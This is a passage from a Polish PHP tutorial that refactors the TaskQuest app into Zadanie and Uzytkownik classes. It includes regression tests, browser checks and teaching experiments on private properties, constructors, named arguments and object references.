    xp: 99,
    streak: 5,
    dataOstatniejAktywnosci: '2026-09-14'
);
</code></pre>



<p class="wp-block-paragraph">Grywalizacja:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- wywołania metod: grywalizacja ---
$poziom = $uzytkownik-&gt;pobierzPoziom();
$tytul = $uzytkownik-&gt;pobierzTytulGracza();
$xpWAktualnymPoziomie = $uzytkownik-&gt;pobierzXpWAktualnymPoziomie();
$procentPostepu = $uzytkownik-&gt;pobierzProcentPostepu();
$brakujeXp = $uzytkownik-&gt;pobierzBrakujaceXp();
</code></pre>



<p class="wp-block-paragraph">Streak (pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane = ...</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane);
</code></pre>



<p class="wp-block-paragraph">Prezentacja (tylko zmienione linie):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;Zalogowano jako &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzLogin(); ?&gt;&lt;/strong&gt;&lt;/p&gt;
        ...
        &lt;h2&gt;Witaj, &lt;?= $uzytkownik-&gt;pobierzImie(); ?&gt;!&lt;/h2&gt;
        ...
        &lt;p&gt;Łączne XP: &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzXp(); ?&gt;&lt;/strong&gt;&lt;/p&gt;
        ...
        &lt;p&gt;Streak: &lt;strong&gt;&lt;?= $uzytkownik-&gt;pobierzStreak(); ?&gt;&lt;/strong&gt;&lt;/p&gt;
</code></pre>



<p class="wp-block-paragraph"><strong>Dlaczego usuwamy luźne zmienne?</strong> Gdyby zostały, ta sama informacja byłaby w dwóch miejscach: np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code> (5) i streak w obiekcie (po <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> — inny). Wystarczy, że ktoś wyświetli nie tę wersję, i strona pokazuje nieaktualny streak (sprawdzisz to w Eksperymencie 6). Jedno źródło prawdy o użytkowniku = obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code> i reszta zostają jako zmienne — to <strong>wyniki</strong> policzone raz, do wyświetlenia, a nie dane, które coś zmienia.</p>



<p class="wp-block-paragraph"><strong>Dlaczego nie zapisujemy całego obiektu w sesji?</strong> Można, ale wtedy klasa musiałaby być dołączona <strong>przed</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> w każdym pliku, a XP i streak i tak są na razie symulowane. Prościej: w sesji zostają <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code>, a obiekt budujemy przy każdym żądaniu.</p>
</details>



<h1 class="wp-block-heading">7. Testy</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> testy 1–3 w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>, jak w poprzednich lekcjach), testy 4–6 w przeglądarce, na prawdziwej aplikacji (zalogowana/zalogowany). Przed każdym uruchomieniem <strong>przewidź</strong> wynik.</p>



<h2 class="wp-block-heading">Test 1 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> na granicach</h2>



<p class="wp-block-paragraph">Daty liczymy od dzisiaj, żeby test dawał ten sam wynik niezależnie od dnia, w którym go uruchamiasz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';

$wczoraj = new DateTime('yesterday');
$dzisiaj = new DateTime('today');
$jutro = new DateTime('tomorrow');

$przypadki = &#91;
    &#91;'niewykonane, termin wczoraj', $wczoraj-&gt;format('Y-m-d'), false],
    &#91;'niewykonane, termin dzisiaj', $dzisiaj-&gt;format('Y-m-d'), false],
    &#91;'niewykonane, termin jutro', $jutro-&gt;format('Y-m-d'), false],
    &#91;'wykonane, termin wczoraj', $wczoraj-&gt;format('Y-m-d'), true],
    &#91;'niewykonane, termin 2020-01-01', '2020-01-01', false],
];

foreach ($przypadki as $przypadek) {
    $zadanie = new Zadanie(
        id: 1,
        tytul: 'Test',
        opis: '',
        termin: $przypadek&#91;1],
        wykonane: $przypadek&#91;2],
        xp: 10
    );

    echo "&lt;p&gt;" . $przypadek&#91;0] . ": " . ($zadanie-&gt;czyPoTerminie() ? "po terminie" : "w terminie") . "&lt;/p&gt;";
}

$zadanie = new Zadanie(id: 2, tytul: 'Zaległe', opis: '', termin: '2020-01-01', wykonane: false, xp: 10);
$zadanie-&gt;oznaczJakoWykonane();
echo "&lt;p&gt;Zaległe po wykonaniu: " . ($zadanie-&gt;czyPoTerminie() ? "po terminie" : "w terminie") . "&lt;/p&gt;";</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Przypadek</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td>niewykonane, termin wczoraj</td><td>po terminie</td></tr><tr><td>niewykonane, termin dzisiaj</td><td>w terminie</td></tr><tr><td>niewykonane, termin jutro</td><td>w terminie</td></tr><tr><td>wykonane, termin wczoraj</td><td>w terminie</td></tr><tr><td>niewykonane, termin 2020-01-01</td><td>po terminie</td></tr><tr><td>zaległe po <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code></td><td>w terminie</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Ostatni wiersz pokazuje, że metody jednego obiektu współpracują: <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code> zmienia stan, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> od razu to „widzi”.</p>



<h2 class="wp-block-heading">Test 2 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> liczy tak samo jak funkcje</h2>



<p class="wp-block-paragraph">Metody użytkownika mają dawać <strong>dokładnie te same wyniki</strong> co funkcje z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_grywalizacji.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code> — przecież je wywołują. Najpierw <strong>przewidź</strong> (na podstawie tego, jak działa Twoja <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code>), jaki poziom i ile brakujących XP wyjdzie dla każdego XP z listy — szczególnie dla wartości granicznych 99/100 i 199/200. Potem uruchom:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';

foreach (&#91;0, 1, 99, 100, 199, 200, 250] as $xp) {
    $uzytkownik = new Uzytkownik(
        login: 'Test_1',
        imieUzytkownika: 'Test',
        xp: $xp,
        streak: 0,
        dataOstatniejAktywnosci: '2026-09-14'
    );

    $poziom = obliczPoziom($xp);
    $xpWPoziomie = obliczXpWAktualnymPoziomie($xp, $poziom);

    $zgodne = $uzytkownik-&gt;pobierzPoziom() === $poziom
        &amp;&amp; $uzytkownik-&gt;pobierzTytulGracza() === pobierzTytul($poziom)
        &amp;&amp; $uzytkownik-&gt;pobierzXpWAktualnymPoziomie() === $xpWPoziomie
        &amp;&amp; $uzytkownik-&gt;pobierzProcentPostepu() === obliczProcentPostepu($xpWPoziomie)
        &amp;&amp; $uzytkownik-&gt;pobierzBrakujaceXp() === ileBrakujeXp($xp, $poziom);

    echo "&lt;p&gt;XP $xp: poziom " . $uzytkownik-&gt;pobierzPoziom()
        . ", brakuje " . $uzytkownik-&gt;pobierzBrakujaceXp() . " XP — "
        . ($zgodne ? "OK" : "BŁĄD") . "&lt;/p&gt;";
}

$dzisiaj = new DateTime('today');
$wczoraj = new DateTime('yesterday');
$przedwczoraj = new DateTime('-2 days');
$daty = &#91;$dzisiaj-&gt;format('Y-m-d'), $wczoraj-&gt;format('Y-m-d'), $przedwczoraj-&gt;format('Y-m-d')];

foreach ($daty as $data) {
    foreach (&#91;true, false] as $zadanieWykonane) {
        $uzytkownik = new Uzytkownik(
            login: 'Test_1',
            imieUzytkownika: 'Test',
            xp: 0,
            streak: 5,
            dataOstatniejAktywnosci: $data
        );

        $uzytkownik-&gt;aktualizujStreak($zadanieWykonane);
        $oczekiwany = aktualizujStreak(5, $data, $zadanieWykonane);

        echo "&lt;p&gt;$data, " . ($zadanieWykonane ? "wykonane" : "niewykonane") . ": streak "
            . $uzytkownik-&gt;pobierzStreak() . " — "
            . ($uzytkownik-&gt;pobierzStreak() === $oczekiwany ? "OK" : "BŁĄD") . "&lt;/p&gt;";
    }
}</code></pre>



<p class="wp-block-paragraph"><strong>Oczekiwane:</strong> we wszystkich 13 liniach <code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code>. Poziomy i brakujące XP — zgodne z Twoimi przewidywaniami. Jeśli gdzieś jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD</code>, metoda nie przekazuje funkcji właściwych danych (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;streak</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code>) albo w <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> brakuje zapisu do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;streak</code>.</p>



<p class="wp-block-paragraph">Dlaczego testujemy „metoda = funkcja”, a nie wpisujemy wyników na sztywno? Bo funkcje zostały przetestowane w poprzednich lekcjach. Metoda niczego nowego nie liczy — ma tylko poprawnie podać dane. Taki test nazywa się <strong>testem regresji</strong>: sprawdza, czy po przebudowie wynik się nie zmienił.</p>



<h2 class="wp-block-heading">Test 3 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';

$uzytkownik = new Uzytkownik(login: 'Test_1', imieUzytkownika: 'Test', xp: 99, streak: 0, dataOstatniejAktywnosci: '2026-09-14');
$uzytkownik-&gt;dodajXp(30);
echo "&lt;p&gt;Po +30: " . $uzytkownik-&gt;pobierzXp() . "&lt;/p&gt;";
$uzytkownik-&gt;dodajXp(1);
echo "&lt;p&gt;Po +1: " . $uzytkownik-&gt;pobierzXp() . "&lt;/p&gt;";

foreach (&#91;0, -50] as $ile) {
    try {
        $uzytkownik-&gt;dodajXp($ile);
        echo "&lt;p&gt;Dodano $ile XP&lt;/p&gt;";
    } catch (Exception $wyjatek) {
        echo "&lt;p&gt;Dla $ile: " . $wyjatek-&gt;getMessage() . "&lt;/p&gt;";
    }
}

echo "&lt;p&gt;Na końcu: " . $uzytkownik-&gt;pobierzXp() . " XP&lt;/p&gt;";</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Linia</th><th>Oczekiwane</th></tr></thead><tbody><tr><td>Po +30</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">129</code></td></tr><tr><td>Po +1</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">130</code></td></tr><tr><td>Dla 0</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Liczba XP do dodania musi być większa od zera.</code></td></tr><tr><td>Dla -50</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Liczba XP do dodania musi być większa od zera.</code></td></tr><tr><td>Na końcu</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">130 XP</code> — nieudane wywołania <strong>niczego nie zmieniły</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Żadne „Dodano 0 XP” ani „Dodano -50 XP” nie może się pojawić: wyjątek przerywa metodę, zanim zmieni <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp</code>, i przerywa też <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> przed linią z <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code>.</p>



<h2 class="wp-block-heading">Test 4 — aplikacja działa jak po Lekcji 14</h2>



<p class="wp-block-paragraph">W przeglądarce, na oryginalnym pliku zadań:</p>



<ol class="wp-block-list">
<li>Strona główna: liczniki (wszystkie / wykonane / aktywne), XP do zdobycia, komunikat o awansie i najpilniejsze zadanie — <strong>takie same</strong> jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja14/</code> uruchomionym tego samego dnia.</li>



<li>Widoki „wszystkie”, „aktywne”, „wykonane” pokazują właściwe zadania, posortowane wg terminu; widok nadal jest pamiętany w ciasteczku.</li>



<li>Dodaj dwa zadania z formularza. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>: nowe linie mają <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> o 1 i o 2 większe od największego wcześniejszego, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, format taki sam jak starszych linii.</li>



<li>Formularz z błędami (pusty tytuł, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>) — nadal lista błędów, nic nie trafia do pliku.</li>



<li>Test awarii z Lekcji 12: zmień nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> → na stronie głównej czerwona ramka „Nie udało się wczytać zadań: &#8230;”, reszta strony (poziom, XP, streak) działa. Przywróć nazwę.</li>



<li>Test pustej listy: plik z samym nagłówkiem → „Brak zadań.”, liczniki <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, brak błędów. Przywróć plik.</li>
</ol>



<h2 class="wp-block-heading">Test 5 — wyróżnienie zadań po terminie</h2>



<ol class="wp-block-list">
<li>Dodaj przez formularz trzy zadania: „Termin wczoraj”, „Termin dziś”, „Termin jutro” (daty ustaw odpowiednio — formularz pozwala na datę z przeszłości).</li>



<li>Czerwoną ramkę ma <strong>tylko</strong> „Termin wczoraj” (oraz starsze niewykonane zadania, jeśli są).</li>



<li>W edytorze kodu zmień w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> pole <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> zadania „Termin wczoraj” na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>. Po odświeżeniu: zadanie jest wykonane (<code class="prettyprint lang-sql" style="font-size: 0.85em;">[X]</code>, styl wykonanego zadania) i <strong>nie ma</strong> czerwonej ramki.</li>



<li>Widok „wykonane” nie pokazuje żadnej czerwonej ramki.</li>
</ol>



<h2 class="wp-block-heading">Test 6 — regresja i diagnostyka</h2>



<p class="wp-block-paragraph">Porównaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/index.php</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja14/index.php</code> <strong>tego samego dnia</strong>, na tym samym pliku zadań. Różnice mogą być tylko takie:</p>



<ul class="wp-block-list">
<li>czerwone ramki przy niewykonanych zadaniach po terminie,</li>



<li>wersja w stopce <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.4</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.5</code>.</li>
</ul>



<p class="wp-block-paragraph">Powitanie, login, poziom, tytuł, łączne XP, pasek, próg, brakujące XP, <strong>streak</strong> — identyczne. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: <strong>17 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong> oraz w przeglądzie katalogów nowy katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes</code> z dwoma plikami <code class="prettyprint lang-sql" style="font-size: 0.85em;">.php</code>.</p>



<h2 class="wp-block-heading">Sprzątanie</h2>



<p class="wp-block-paragraph">Gdy testy przeszły <strong>i wykonasz eksperymenty z sekcji 8</strong>:</p>



<ol class="wp-block-list">
<li>usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (i ewentualne inne brudnopisy),</li>



<li>przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> z kopii albo zostaw zadania, które chcesz mieć,</li>



<li>sprawdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>.</li>
</ol>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> przy każdym eksperymencie jest napisane, w jakim pliku go wykonać. Po każdym <strong>przywróć kod</strong> do stanu z sekcji 4–6.</p>



<h3 class="wp-block-heading">Eksperyment 1: prywatne znaczy prywatne</h3>



<p class="wp-block-paragraph"><strong>Brudnopis.</strong> Utwórz dowolne zadanie (jak w sekcji 4) i dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;xp = 1000;</code></pre>



<p class="wp-block-paragraph">Przeczytaj komunikat: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error: Cannot access private property Zadanie::$xp</code> (w różnych wersjach PHP treść może się nieznacznie różnić — ważne, że skrypt się zatrzymuje). Porównaj z sekcją 2: w tablicy Ola ustawiła <code class="prettyprint lang-sql" style="font-size: 0.85em;">-500</code> i <strong>nic się nie stało</strong>. Tu pomyłka kończy się od razu, w linii, która ją popełniła.</p>



<p class="wp-block-paragraph">Zamień tę linię na <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;oznaczJakoWykonane();</code> — działa. Obiekt nie zabrania wszystkiego: pozwala na to, co ma sens w TaskQuest.</p>



<p class="wp-block-paragraph">Pytanie: czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">try { ... } catch (Exception $wyjatek) { ... }</code> złapałoby ten błąd? Sprawdź. (Nie — to <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>. To błąd programisty, a nie awaria, którą aplikacja ma obsłużyć — trzeba poprawić kod. O rodzinie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> więcej w Lekcji 23.)</p>



<h3 class="wp-block-heading">Eksperyment 2: zapomniane <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code></h3>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code>.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code> zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $this-&gt;xp;</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $xp;</code>. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph">Dostajesz <strong>dwa</strong> komunikaty:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Undefined variable $xp in ...\classes\Zadanie.php on line ...
Fatal error: Uncaught TypeError: Zadanie::pobierzXp(): Return value must be of type int, null returned</code></pre>



<p class="wp-block-paragraph">Wyjaśnij oba. (Wewnątrz metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> to zwykła zmienna lokalna — nie istnieje, więc ma wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Metoda obiecała zwrócić <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> — typ zwracany wyłapał problem.) Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;</code>.</p>



<h3 class="wp-block-heading">Eksperyment 3: konstruktor, który o czymś zapomniał</h3>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code>.</strong> W konstruktorze zakomentuj linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;opis = $opis;</code>. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Typed property Zadanie::$opis must not be accessed before initialization</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę, <strong>gdzie</strong> jest błąd: nie przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code>, tylko dopiero przy pierwszym <strong>odczycie</strong> opisu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzOpis()</code> w pętli na stronie głównej). Obiekt powstał niekompletny. Dlatego konstruktor ma ustawiać <strong>każdą</strong> właściwość. Przywróć linię.</p>



<h3 class="wp-block-heading">Eksperyment 4: kolejność argumentów</h3>



<p class="wp-block-paragraph"><strong>Brudnopis.</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';

// pomyłka 1: zamienione id i xp (oba int)
$pierwsze = new Zadanie(20, 'Test', 'Opis zadania', '2026-10-01', false, 1);
echo "&lt;p&gt;id: " . $pierwsze-&gt;pobierzId() . ", xp: " . $pierwsze-&gt;pobierzXp() . "&lt;/p&gt;";

// pomyłka 2: zamienione opis i termin (oba string)
$drugie = new Zadanie(1, 'Test', '2026-10-01', 'Opis zadania', false, 20);
echo "&lt;p&gt;termin: " . $drugie-&gt;pobierzTermin() . "&lt;/p&gt;";
var_dump($drugie-&gt;czyPoTerminie());</code></pre>



<p class="wp-block-paragraph">Pomyłka 1: <strong>żadnego błędu</strong> — zadanie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 20 i nagrodę 1 XP. Nikt tego nie zauważy, dopóki nie zabraknie komuś punktów. Pomyłka 2: obiekt powstaje bez protestu (termin to „jakiś tekst”), a błąd wybucha dopiero w <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> nie umie odczytać daty z napisu <code class="prettyprint lang-sql" style="font-size: 0.85em;">Opis zadania</code> (wyjątek <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateMalformedStringException</code> w PHP 8.3+, zwykły <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> w starszych wersjach).</p>



<p class="wp-block-paragraph">Teraz przepisz oba wywołania na argumenty nazwane, <strong>celowo w pomieszanej kolejności</strong>, np.:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pierwsze = new Zadanie(xp: 20, id: 1, tytul: 'Test', opis: 'Opis zadania', termin: '2026-10-01', wykonane: false);</code></pre>



<p class="wp-block-paragraph">Wszystko trafia na swoje miejsce. Dlatego w TaskQuest obiekty z wieloma parametrami tworzymy przez argumenty nazwane.</p>



<h3 class="wp-block-heading">Eksperyment 5: obiekt to nie kopia</h3>



<p class="wp-block-paragraph"><strong>Brudnopis.</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';

$zadania = wczytajZadania(PLIK_ZADAN);
$aktywneZadania = pobierzAktywneZadania($zadania);

echo "&lt;p&gt;Wykonane przed: " . count(pobierzWykonaneZadania($zadania)) . "&lt;/p&gt;";

foreach ($aktywneZadania as $zadanie) {
    $zadanie-&gt;oznaczJakoWykonane();
}

echo "&lt;p&gt;Wykonane po: " . count(pobierzWykonaneZadania($zadania)) . "&lt;/p&gt;";</code></pre>



<p class="wp-block-paragraph">Przewidź: czy zmiana zadań z <strong>odfiltrowanej</strong> tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$aktywneZadania</code> zmieni coś w <strong>oryginalnej</strong> tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code>?</p>



<p class="wp-block-paragraph">Zmienia! Po pętli wszystkie zadania w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> są wykonane. <code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code> zrobiło nową <strong>tablicę</strong>, ale nie nowe <strong>obiekty</strong> — obie tablice wskazują te same obiekty. Zmienna z obiektem działa jak numerek w szatni z Lekcji 14: kopiujesz numerek, a kurtka jest jedna. Z tablicami tablic (Lekcja 14) było inaczej — każda tablica miała własną kopię danych.</p>



<p class="wp-block-paragraph">Sprawdź też <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> — <strong>nic się nie zmieniło</strong>. Obiekty żyją w pamięci tylko do końca skryptu; do pliku trafia to, co przekażemy do <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>.</p>



<p class="wp-block-paragraph">To zachowanie bywa wygodne (zadanie końcowe A: znajdujesz obiekt na liście, oznaczasz go i zapisujesz całą listę) i bywa pułapką (zmieniasz „kopię”, a zmienia się oryginał). Jeśli naprawdę potrzebujesz niezależnej kopii obiektu, służy do tego <code class="prettyprint lang-sql" style="font-size: 0.85em;">clone</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$kopia = clone $zadanie;</code>.</p>



<h3 class="wp-block-heading">Eksperyment 6: metoda, która nie zapisała wyniku</h3>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code>.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;streak = </code> (zostaw samo wywołanie funkcji). Uruchom <strong>Test 2</strong> z sekcji 7.</p>



<p class="wp-block-paragraph">Linie ze streakiem pokazują <code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD</code> tam, gdzie funkcja zmieniłaby streak — w obiekcie zostaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">5</code>. Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> <strong>zwraca</strong> nową wartość, ale sama niczego nie zmienia; jeśli wyniku nie zapiszemy w obiekcie, przepada.</p>



<p class="wp-block-paragraph">Teraz pomyśl o <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> z Lekcji 14: tam było <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak = aktualizujStreak($streak, ...)</code>. Gdybyśmy dziś zostawili w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code> <strong>obok</strong> obiektu, na stronie mógłby pojawić się streak sprzed aktualizacji — dwie wersje tej samej informacji, i tylko jedna prawdziwa. Dlatego w sekcji 6b usunęliśmy luźne zmienne. Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;streak = </code>.</p>



<h3 class="wp-block-heading">Eksperyment 7 (dodatkowy): czego typy nie wyłapią</h3>



<p class="wp-block-paragraph"><strong>Brudnopis.</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';

$zadanie = new Zadanie(id: '7', tytul: 'Test', opis: '', termin: '2026-10-01', wykonane: 'nie', xp: 10);
var_dump($zadanie-&gt;pobierzId(), $zadanie-&gt;czyWykonane());

$zadanie = new Zadanie(id: 'siedem', tytul: 'Test', opis: '', termin: '2026-10-01', wykonane: false, xp: 10);</code></pre>



<p class="wp-block-paragraph">Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(7)</code>, <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(true)</code></strong>, a potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">TypeError: ... Argument #1 ($id) must be of type int, string given</code>.</p>



